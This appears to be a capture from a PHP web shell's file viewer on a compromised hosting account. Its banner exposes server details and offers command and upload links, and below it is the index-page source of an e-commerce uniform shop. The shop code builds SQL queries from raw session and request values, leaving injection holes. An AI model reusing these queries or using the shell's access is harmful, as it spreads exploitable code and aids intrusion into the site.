|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u641149403/domains/uniformindia.co.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
ob_start();
include('header.php');
if(isset($_POST['btncart']))
{
if(!empty($_SESSION['userid']))
{
$uid=$_SESSION['userid'];
$queryin="select * from order_items where user_id=$uid and product_variant_id=$id";
$resin=mysqli_query($con,$queryin);
$count=mysqli_num_rows($resin);
if($count>=1)
{
$queryqu="update order_items set quantity=quantity + 1,sub_total=quantity *price where user_id=$uid and product_variant_id=$id";
$resqu=mysqli_query($con,$queryqu);
$msg="Item updated In Cart Successfully";
}else
{
$product_id=$_GET['id'];
$product_quantity=1;
$product_price=$rowd['price'];
$psub_total=$deal_quantity*$deal_price;
$product_userid=$uid;
$queryc="insert into order_items(id,quantity,price,sub_total,user_id)values($product_id,$product_quantity,$product_price,$psub_total,$product_userid)";
$resc=mysqli_query($con,$queryc);
$msg="Item added In Cart Successfully";
}
}
else
{
header("location:login.php");
}
}
?>
<link rel="stylesheet" type="text/css" href="css/products.css">
<style type="text/css">
body{
background:#EEF0F3;
}
/* section#home-section {*/
/* height: 410px;*/
/*}*/
.owl-carousel .owl-stage-outer {
height: 410px;
}
.ftco-section
{
background-color:#ffffff;
margin:5px 0;
padding: 0em 0;
}
.icons i
{
color:var(--main-color) ;
font-weight: bold;
font-size: 30px;
padding:5px;
}
.bottmban {
/*margin-top: -1px !important;*/
}
form input
{
background-color: var(--main-color) !important;
color:white !important;
}
.othertab
{
background-color:#5ea9b1;
padding:10px;
margin-bottom: 5px;
}
.data
{
margin-top:10px;
padding-top: 10px;
}
.data:hover
{
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 1.5), 0 6px 20px 0 rgba(0, 0, 0, 0.50);
}
.data1
{
margin-left: 20px;
}
.imgstyle
{
box-shadow: 0 0px 0.9px 0 rgba(0, 0, 0, 0.50), 0 6px 20px 0 rgba(0, 0, 0, 0.50);
/*border-style: solid;*/
/*border-width: 0.1px;*/
background-position: center;
}
img
{
width:100%;
height:150px;
}
/*.data:hover
{
padding:20px;
}*/
.heading a
{
font-weight: bold;
color: var(--main-color) !important;
text-transform: uppercase;
padding-top: 10px;
}
.viewbtn a
{
border-radius:20px;
background-color: var(--main-color);
color:white !important;
font-size: 18px;
padding:8px;
margin-right:8px;
text-transform: bold;
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.40), 0 6px 20px 0 rgba(0, 0, 0, 0.40);
}
.viewbtn label
{
width:100% !important;
}
.viewbtn
{
margin: 30px;
}
.bottmban
{
/*margin-top: -5px;*/
/*height: 50px;*/
}
.bottmban a
{
background-color: var(--main-color);
color:white !important;
/*font-size: 18px;*/
word-wrap: normal;
text-align: center;
width: 100%;
height: 40px;
display: inline-block;
white-space: nowrap ;
font-size-adjust: 1.0;
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.50), 0 6px 20px 0 rgba(0, 0, 0, 0.50);
padding:5px;
}
.bottmban p
{
/*border-style: solid;*/
border-width: 0.5px;
}
.product {
/*width: 250px !important;
margin-left: 85px;*/
}
.product img
{
width: 180px;
height:200px;
text-align: center;
}
.flexx .row
{
flex-wrap: nowrap !important;
}
.fewproducts
{
display: inline-flex !important;
}
.product_margin
{
margin-left: 10px;
}
@media only screen and (max-device-width: 480px) {
.product {
width: 100% !important;
margin-left: 0 !important;
}
.data1 {
margin-left: -17px;
}
.viewbtn label {
width:100%;
}
.product_margin {
margin-left: 0px;
}
.dsp{
display: none !important;
}
}
.bottmban p {
background-color: var(--main-color);
color: white !important;
/* font-size: 18px; */
word-wrap: normal;
text-align: center;
width: 100%;
/*height: 44px;
line-height: 16px;*/
display: inline-block;
/* white-space: nowrap; */
font-size-adjust: 1.0;
/*box-shadow: 0 0px 0px 0 rgba(0, 0, 0, 0.50), 0 0px 7px 0 rgba(0, 0, 0, 0.50);*/
padding: 5px;
}
/*.ftco-animate.img.imgstyle.fadeInUp.ftco-animated :hover {*/
/* box-shadow: 0 0px 0.9px 0 rgba(0, 0, 0, 0.50), 0 6px 20px 0 rgba(0, 0, 0, 0.50);*/
/* }*/
.ftco-animate.img.imgstyle.fadeInUp.ftco-animated{
box-shadow: none !important;
}
.data:hover {
box-shadow: 0 0 5px 0px #999;;
}
.wishlist{
position: absolute;
right: 4px;
top: 5px;
left: auto;
font-size: 20px;
cursor: pointer;
width: 35px;
height: 35px;
}
.product .img-prod{
position: initial!important;
}
.product .text p.price span.price-dc{
text-decoration: line-through gray!important;
color: gray!important;
}
.offer_slider .owl-carousel.home-slider .slider-item .overlay{
background: transparent!important;
}
.offer_slider .owl-carousel.home-slider .slider-item,.offer_slider .owl-carousel.home-slider .slider-item .slider-text,.offer_slider .owl-carousel .owl-stage-outer,.offer_slider .owl-carousel.home-slider,.offer_slider{
/*height: 300px!important;*/
}
.home_slider .owl-carousel.home-slider .slider-item img{
height: 406px!important;
}
@media only screen and (max-device-width: 560px){
section#home-section {
height: auto!important;
}
}
@media only screen and (max-width: 600px) {
.home_slider .owl-carousel.home-slider .slider-item img {
height: 178px!important;
}
.owl-carousel.home-slider .slider-item {
height: 180px !important;
}
.owl-carousel .owl-stage-outer {
height: 180px!important;
}
.owl-carousel.home-slider{
height: 180px!important;
}
.carousel-item img{
height: 180px!important;
}
/*==============offers==============*/
.offer_slider .owl-carousel.home-slider .slider-item,.offer_slider .owl-carousel.home-slider .slider-item .slider-text,.offer_slider .owl-carousel .owl-stage-outer,.offer_slider .owl-carousel.home-slider,.offer_slider{
height: auto!important;
}
.offer_slider img{
/*height: 120px!important;*/
}
}
.carousel-item img{
height: 406px;
}
.prod_size {
border: 2px solid #b5a9a9;
padding: 5px 10px;
margin-left: 5px;
border-radius: 4px;
cursor: pointer;
}
</style>
<?php
$sql = "select * from slider";
$query = mysqli_query($con,$sql);
while($rows = $query->fetch_assoc()) {
$slider_data[]=$rows;
}
?>
<div id="demo" class="carousel slide" data-ride="carousel">
<ul class="carousel-indicators">
<?php
$i=0;
foreach($slider_data as $row){
$actives = '';
if ($i==0) {
$actives='active';
}
?>
<li data-target="#demo" data-slide-to="<?php echo $i;?>" class="<?php echo $actives;?>"></li>
<!-- <li data-target="#demo" data-slide-to="1"></li>
<li data-target="#demo" data-slide-to="2"></li> -->
<?php $i++; } ?>
</ul>
<div class="carousel-inner">
<?php
$i=0;
foreach($slider_data as $rows){
$actives = '';
if ($i==0) {
$actives='active';
}
?>
<div class="carousel-item <?php echo $actives;?>">
<img class="w-100 img-fluid" src="admin/<?php echo $rows['image']; ?>">
</div>
<?php $i++; } ?>
</div>
<a class="carousel-control-prev" href="#demo" data-slide="prev">
<span class="carousel-control-prev-icon"></span>
</a>
<a class="carousel-control-next" href="#demo" data-slide="next">
<span class="carousel-control-next-icon"></span>
</a>
</div>
<!--<section id="home-section" class="hero home_slider">-->
<!-- <div class="home-slider owl-carousel">-->
<?php
// $slider="SELECT * FROM slider ";
// $res=mysqli_query($con,$slider);
// $i=0;
// while($row=mysqli_fetch_array($res)) {
?>
<!--<div class="slider-item">-->
<!-- <img src="admin/<?php echo $row['image']; ?>">-->
<!-- <div class="overlay"></div>-->
<!-- <div class="container">-->
<!-- <div class="row slider-text justify-content-center align-items-center" data-scrollax-parent="true">-->
<!-- <div class="col-md-12 ftco-animate text-center">-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<?php
// $i=$i+1; }
?>
<!-- </div>-->
<!--</section>-->
<section class="ftco-section ftco-category ftco-no-pt " >
<div class="heading text-center"><h3><a href="#">Shop By category</a></h3></div>
<div class="container-fluid">
<div class="row data1 text-center mx-0">
<?php
$querycat="select * from category limit 12";
$resc=mysqli_query($con,$querycat);
while($rowc=mysqli_fetch_assoc($resc))
{
?>
<div class="col-sm-3 py-4">
<div class="data py-0">
<a href="category/<?php echo $rowc['slug']; ?>">
<div class="ftco-animate img imgstyle" >
<img src="admin/<?php echo $rowc['image']; ?>" style="height: 240px!important;">
</div>
<div class="bottmban text-center">
<p class="mb-0"><?php echo $rowc['name']; ?></p>
</div>
</a>
</div>
</div>
<?php
}?>
</div>
<!-- <div class="text-center viewbtn">
<label><a href="allcategories.php">View all ctegories</a></label>
</div> -->
</div>
</section>
<section class="ftco-section">
<div class="container-fluid">
<div class="row justify-content-center mb-3 pb-3">
<div class="col-md-12 heading-section text-center ftco-animate">
<div class="heading text-center"><h3><a>Top Selling Products</a></h3></div>
</div>
</div>
</div>
<div class="container-fluid">
<div class="row">
<?php
$total_sale=$con->query("SELECT * FROM order_items GROUP BY product_id ORDER BY product_id ASC");
while($topselling=mysqli_fetch_array($total_sale))
{
$product_id = $topselling['product_id'];
$queryallpro="SELECT *,products.id as id from products,product_variant where products.id=product_variant.product_id AND products.id='$product_id' GROUP BY products.id order by date_added DESC limit 12";
$resc=mysqli_query($con,$queryallpro);
while($rowc=mysqli_fetch_array($resc))
{
$rvw=$con->query("SELECT SUM(rating) as total,count('rating') as total_rating FROM reviews WHERE product_id='".$rowc['id']."'");
$review_avg=mysqli_fetch_assoc($rvw);
$total_rating=$review_avg['total_rating'];
$total = $review_avg['total'];
$avg = round($total/$total_rating,2);
if ($review_avg['total']==0) {
$avg = 0;
}
if ($avg==4) {
$badge = 'badge-warning';
}elseif($avg<=3){
$badge='badge-danger';
}else{
$badge='badge-success';
}
$dis=intval($rowc['price'])-intval($rowc['discounted_price']);
if($dis>0){ $ds= floor($dis*100/$rowc['price']);} else{$ds= '0';} ?>
<div class="col-md-2 ftco-animate">
<div class="product text-center">
<a href="product/<?=$rowc['slug'];?>" class="img-prod">
<img class="img-fluid w-100" src="admin/<?php echo $rowc['image']; ?>" alt="<?php echo $rowc['name']; ?>">
<?php
$queryalldis="select products.name,products.id,products.image,product_variant.price-product_variant.discounted_price as discount from products,product_variant where products.id=product_variant.product_id";
$resdis=mysqli_query($con,$queryalldis);
$rowdis=mysqli_fetch_array($resdis);
$discountt=$rowdis['discount'];
?>
<?php if ($ds!=0) { ?>
<div id="ribbon">
<span class="ribbon3"><?php echo $ds; ?>% off</span>
</div>
<!-- <span class="status" style="background-color:red!important;"><?php echo $ds; ?>% Off</span> -->
<?php } ?>
<div class="wishlist">
<?php
$sql = "SELECT * FROM wishlist WHERE product_id='".$rowc['id']."' AND user_id='".$_SESSION['userid']."'";
$wish=mysqli_query($con,$sql);
$num_rows=mysqli_num_rows($wish);
if($num_rows > 0){
$rows=mysqli_fetch_assoc($wish);
echo '<span onclick="wishlist_del('.$rows["id"].')"><i style="color:red;" class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Remove Wishlist"></i></span>';
}else{
echo '<span onclick="wishlist('.$rowc["id"].')"><i class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"></i></span>';
}
?>
</div>
</a>
<div class="text my-2">
<a href="product/<?=$rowc['slug'];?>">
<?php if (strlen($rowc['name']) <=20) {
echo $rowc['name'];
} else {
echo substr($rowc['name'], 0, 20) . '...';
} ?>
</h4>
</a>
<div class="cities text-left mb-2">
<?php
$cities=$con->query("SELECT * FROM city");
while($city=mysqli_fetch_array($cities)){
?>
<span><?=$city['name'];?></span>
<?php } ?>
</div>
<div class="rating text-left">
<span class="badge <?=$badge;?>"><?=$avg;?> <i class="fa fa-star"></i></span>
<?php if($rowc['assured']==1){ ?><span class="float-right badge badge-primary"><img src="images/assured.png"> Assured</span><?php } ?>
</div>
<a class="fr-img" href="product/<?=$rowc['slug'];?>">
<div class="row mb-2">
<div class="dsc_price col-md-12"><span class="no-cut mr-2">₹<?php echo $rowc['discounted_price'];?> </span> <del class="cut-prc" style="color:gray;"><span style="color:gray;">₹<?php echo $rowc['price'];?> </span></del>
</div>
</div>
</a>
</div>
</div>
</div>
<?php } } ?>
</div>
</div>
</section>
<!-- ==============banner slider================== -->
<section class="ftco-section">
<div class="container-fluid">
<div class="row justify-content-center mb-3 pb-3">
<div class="col-md-12 heading-section text-center ftco-animate">
<div class="heading text-center"><h3><a>New Offers</a></h3></div>
</div>
</div>
<div class="row">
<?php
$queryallpro="SELECT *,products.id as id from products,product_variant where products.id=product_variant.product_id AND products.product_type=1 GROUP BY products.id order by date_added DESC limit 12";
$resc=mysqli_query($con,$queryallpro);
while($rowc=mysqli_fetch_array($resc))
{
$rvw=$con->query("SELECT SUM(rating) as total,count('rating') as total_rating FROM reviews WHERE product_id='".$rowc['id']."'");
$review_avg=mysqli_fetch_assoc($rvw);
$total_rating=$review_avg['total_rating'];
$total = $review_avg['total'];
$avg = round($total/$total_rating,2);
if ($review_avg['total']==0) {
$avg = 0;
}
if ($avg==4) {
$badge = 'badge-warning';
}elseif($avg<=3){
$badge='badge-danger';
}else{
$badge='badge-success';
}
$dis=intval($rowc['price'])-intval($rowc['discounted_price']);
if($dis>0){ $ds= floor($dis*100/$rowc['price']);} else{$ds= '0';} ?>
<div class="col-md-2 ftco-animate">
<div class="product text-center">
<a href="product/<?=$rowc['slug'];?>" class="img-prod">
<img class="img-fluid w-100" src="admin/<?php echo $rowc['image']; ?>" alt="<?php echo $rowc['name']; ?>">
<?php
$queryalldis="select products.name,products.id,products.image,product_variant.price-product_variant.discounted_price as discount from products,product_variant where products.id=product_variant.product_id";
$resdis=mysqli_query($con,$queryalldis);
$rowdis=mysqli_fetch_array($resdis);
$discountt=$rowdis['discount'];
?>
<?php if ($ds!=0) { ?>
<div id="ribbon">
<span class="ribbon3"><?php echo $ds; ?>% off</span>
</div>
<!-- <span class="status" style="background-color:red!important;"><?php echo $ds; ?>% Off</span> -->
<?php } ?>
<div class="wishlist">
<?php
$sql = "SELECT * FROM wishlist WHERE product_id='".$rowc['id']."' AND user_id='".$_SESSION['userid']."'";
$wish=mysqli_query($con,$sql);
$num_rows=mysqli_num_rows($wish);
if($num_rows > 0){
$rows=mysqli_fetch_assoc($wish);
echo '<span onclick="wishlist_del('.$rows["id"].')"><i style="color:red;" class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Remove Wishlist"></i></span>';
}else{
echo '<span onclick="wishlist('.$rowc["id"].')"><i class="fa fa-heart" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"></i></span>';
}
?>
</div>
</a>
<div class="text my-2">
<a href="product/<?=$rowc['slug'];?>">
<?php if (strlen($rowc['name']) <=20) {
echo $rowc['name'];
} else {
echo substr($rowc['name'], 0, 20) . '...';
} ?>
</h4>
</a>
<div class="cities text-left mb-2">
<?php
$cities=$con->query("SELECT * FROM city");
while($city=mysqli_fetch_array($cities)){
?>
<span><?=$city['name'];?></span>
<?php } ?>
</div>
<div class="rating text-left">
<span class="badge <?=$badge;?>"><?=$avg;?> <i class="fa fa-star"></i></span>
<?php if($rowc['assured']==1){ ?><span class="float-right badge badge-primary"><img src="images/assured.png"> Assured</span><?php } ?>
</div>
<a class="fr-img" href="product/<?=$rowc['slug'];?>">
<div class="row mb-2">
<div class="dsc_price col-md-12"><span class="no-cut mr-2">₹<?php echo $rowc['discounted_price'];?> </span> <del class="cut-prc" style="color:gray;"><span style="color:gray;">₹<?php echo $rowc['price'];?> </span></del>
</div>
</div>
</a>
</div>
</div>
</div>
<?php } ?>
</div>
</div>
</section>
<section class="ftco-section othertab">
<div class="container flexx">
<div class="row no-gutters ftco-services">
<div class="col-md-3 col-sm-3 text-center d-flex align-self-stretch ftco-animate">
<div class="media block-6 services mb-md-0 mb-4">
<div class="icon bg-color-1 active d-flex justify-content-center align-items-center mb-2">
<!--<span class="flaticon-shipped"></span>-->
<img src="images/same-day.png" class="w-50" style="height:auto;">
</div>
<div class="media-body">
<h3 class="heading">Same Day Delivery</h3>
<!-- <span>On order over ₹199</span> -->
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 text-center d-flex align-self-stretch ftco-animate">
<div class="media block-6 services mb-md-0 mb-4">
<div class="icon bg-color-2 d-flex justify-content-center align-items-center mb-2">
<img src="images/credit-card.png" class="w-50" style="height:auto;">
</div>
<div class="media-body">
<h3 class="heading">Secure Payment</h3>
<!-- <span>Product well package</span> -->
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 text-center d-flex align-self-stretch ftco-animate">
<div class="media block-6 services mb-md-0 mb-4">
<div class="icon bg-color-3 d-flex justify-content-center align-items-center mb-2">
<!--<span class="flaticon-award"></span>-->
<img src="images/badge.png" class="w-50" style="height:auto;">
</div>
<div class="media-body">
<h3 class="heading">Superior Quality</h3>
<!-- <span>Quality Products</span> -->
</div>
</div>
</div>
<div class="col-md-3 col-sm-3 text-center d-flex align-self-stretch ftco-animate">
<div class="media block-6 services mb-md-0 mb-4 dsp">
<div class="icon bg-color-4 d-flex justify-content-center align-items-center mb-2">
<!--<span class="flaticon-customer-service"></span>-->
<img src="images/customer-support.png" class="w-50" style="height:auto;">
</div>
<div class="media-body">
<h3 class="heading">Customer Support</h3>
<!-- <span>24/7 Support</span> -->
</div>
</div>
</div>
</div>
</div>
</section>
<script>
function wishlist(e) {
var user_id=<?php echo $_SESSION['id']?>;
$.ajax({
url: "add_wishlist.php",
type: "POST",
data: {
user_id: user_id,prod_id:e,
},
success: function(response){
alert(response);
location.reload();
},
})
}
function wishlist_del(e) {
$.ajax({
url: "add_wishlist.php",
type: "POST",
data: {
delete_id: e,
},
success: function(response){
alert(response);
location.reload();
},
})
}
</script>
<?php
include('footer.php');
ob_flush();
?>